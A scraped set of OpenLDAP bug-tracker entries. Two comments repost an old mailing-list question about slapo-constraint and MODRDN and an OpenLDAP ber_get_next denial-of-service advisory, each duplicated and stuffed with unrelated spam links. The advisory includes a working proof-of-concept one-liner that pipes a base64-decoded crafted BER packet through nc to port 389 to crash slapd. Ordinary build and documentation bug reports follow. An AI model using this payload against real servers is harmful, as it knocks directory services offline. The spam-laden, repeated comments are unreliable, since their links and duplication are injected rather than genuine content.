https://bugs.openldap.org/show_bug.cgi?id=8240
--- Comment #21 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
List message:
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach. http://www-look-4.com/
This works ok in most setups.
But in a more strict setup (release 2.4.41) with slapo-constraint and
constraints on the RDN's characteristic attribute those MODRDN requests
http://www.compilatori.com/
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases.
http://www.wearelondonmade.com/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general http://www.jopspeech.com/ approach
especially when thinking about
all the other LDAP servers out there.
http://joerg.li/
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should it be fixed therein?
List message:
http://connstr.net/
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach.
This works ok in most setups. http://embermanchester.uk/
But in a more strict setup (release 2.4.41) with slapo-constraint and
constraints on the RDN's characteristic attribute those MODRDN requests
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases. http://www.slipstone.co.uk/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general approach especially when thinking about
all the other LDAP servers out there. http://www.logoarts.co.uk/
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should it be fixed therein?
List message:
http://www.acpirateradio.co.uk/
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach.
This works ok in most setups.
But in a more strict setup (release 2.4.41) with slapo-constraint and
https://waytowhatsnext.com/
constraints on the RDN's characteristic attribute those MODRDN requests
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases. https://www.webb-dev.co.uk/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general approach especially when thinking about
all the other LDAP servers out there.
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should http://www.iu-bloomington.com/ it be fixed therein?
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https://bugs.openldap.org/show_bug.cgi?id=9202
--- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details http://www-look-4.com/ a vulnerability found within the
OpenLDAP server daemon. A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
http://www.compilatori.com/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository. http://www.wearelondonmade.com/
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP
http://www.jopspeech.com/ daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://joerg.li/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode. http://connstr.net/
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
http://embermanchester.uk/
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next http://www.slipstone.co.uk/
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
https://waytowhatsnext.com/
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details a vulnerability found within the OpenLDAP server daemon.
A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
https://www.webb-dev.co.uk/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository.
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://www.iu-bloomington.com/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode.
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
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https://bugs.openldap.org/show_bug.cgi?id=8852
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|reviewed |
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https://bugs.openldap.org/show_bug.cgi?id=8757
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|reviewed |
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https://bugs.openldap.org/show_bug.cgi?id=8748
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|lmdb-scratch |
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https://bugs.openldap.org/show_bug.cgi?id=6010
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|OL_2_6_REQ |
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https://bugs.openldap.org/show_bug.cgi?id=9672
Issue ID: 9672
Summary: Permit static linking with libsasl2
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: build
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
Created attachment 838
--> https://bugs.openldap.org/attachment.cgi?id=838&action=edit
pkg-config + libsasl2 = ♥
I want to link slapd statically. First I link openssl and libsasl2 statically.
The static libsasl2 bundles all SASL plugins, and linking towards it must be
done (in my case) with -lcrypto. The check in configure.ac:
```
AC_CHECK_LIB(sasl2, sasl_client_init,
[ol_link_sasl="-lsasl2"],
[AC_CHECK_LIB(sasl, sasl_client_init,
[ol_link_sasl="-lsasl"])])
```
fails, since -lcrypto is not passed during linking with the static -lsasl2 .
`pkg-config --statit libsasl2 --libs` knows how to link statically with
libsasl2 and it knows, whether libsasl2 is installed.
The applied patch does linking/preprocessing of libsasl2 by utilizing
pkg-config, when available.
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https://bugs.openldap.org/show_bug.cgi?id=9676
Issue ID: 9676
Summary: slapadd -n0 does need -F parameter, despite the
documentation
Product: OpenLDAP
Version: 2.5.7
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
My reading of the documentation of slapadd is, that when `slapadd -n0
-linit0.ldif` is called, and the default config directory exists, and is empty,
sladadd will create the cn=config database in the default config directory.
```
-F confdir
specify a config directory. If both -f and -F are specified, the
config file will be read and converted to config directory format and
written to the specified directory. If neither option is specified, an
attempt to read the default config directory will be made before
trying to use the default config file. If a valid config directory
exists then the default config file is ignored. If dry-run mode is also
specified, no conversion will occur.
```
My default config directory is "/data/config" (
CFLAGS="-DSLAPD_DEFAULT_CONFIGDIR='\"/data/config\"' )
calling strace slapadd -n0 -linit0.ldif prints:
[pid 573949] newfstatat(AT_FDCWD, "/data/config", <unfinished ...>
[pid 573949] <... newfstatat resumed>{st_mode=S_IFDIR|0755, st_size=4096, ...},
0) = 0
[pid 573949] mmap(NULL, 1052672, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
[pid 573949] <... mmap resumed>) = 0x7f050183a000
[pid 573949] gettimeofday( <unfinished ...>
[pid 573949] <... gettimeofday resumed>{tv_sec=1631220679, tv_usec=401535},
NULL) = 0
[pid 573949] openat(AT_FDCWD, "/data/config/cn=config.ldif", O_RDONLY
<unfinished ...>
[pid 573949] <... openat resumed>) = -1 ENOENT (No such file or directory)
[pid 573949] munmap(0x7f050183a000, 1052672 <unfinished ...>
[pid 573949] <... munmap resumed>) = 0
[pid 573949] newfstatat(AT_FDCWD, "//etc/openldap/slapd.conf", <unfinished
...>
[pid 573949] <... newfstatat resumed>0x7ffda7228410, 0) = -1 ENOENT (No such
file or directory)
[pid 573949] write(2, "slapadd: bad configuration file!\n", 33 <unfinished ...>
So it fails.
If I call instead slapadd -n0 -linit0.ldif -F/data/config
the output is
[pid 575257] openat(AT_FDCWD, "/home/d/data/config", O_RDONLY|O_CLOEXEC
<unfinished ...>
[pid 575257] <... openat resumed>) = 12
[pid 575257] epoll_ctl(4, EPOLL_CTL_ADD, 12,
{events=EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, data={u32=740160072,
u64=139733206168136}} <unfinished ...>
[pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted)
[pid 575257] epoll_ctl(4, EPOLL_CTL_DEL, 12, 0xc0005a1b34 <unfinished ...>
[pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted)
[pid 575257] getdents64(12, <unfinished ...>
[pid 575257] <... getdents64 resumed>0xc000710000 /* 2 entries */, 8192) = 48
[pid 575257] getdents64(12, <unfinished ...>
[pid 575257] <... getdents64 resumed>0xc000710000 /* 0 entries */, 8192) = 0
[pid 575257] close(12 <unfinished ...>
[pid 575257] <... close resumed>) = 0
…
and data/config is filled with content
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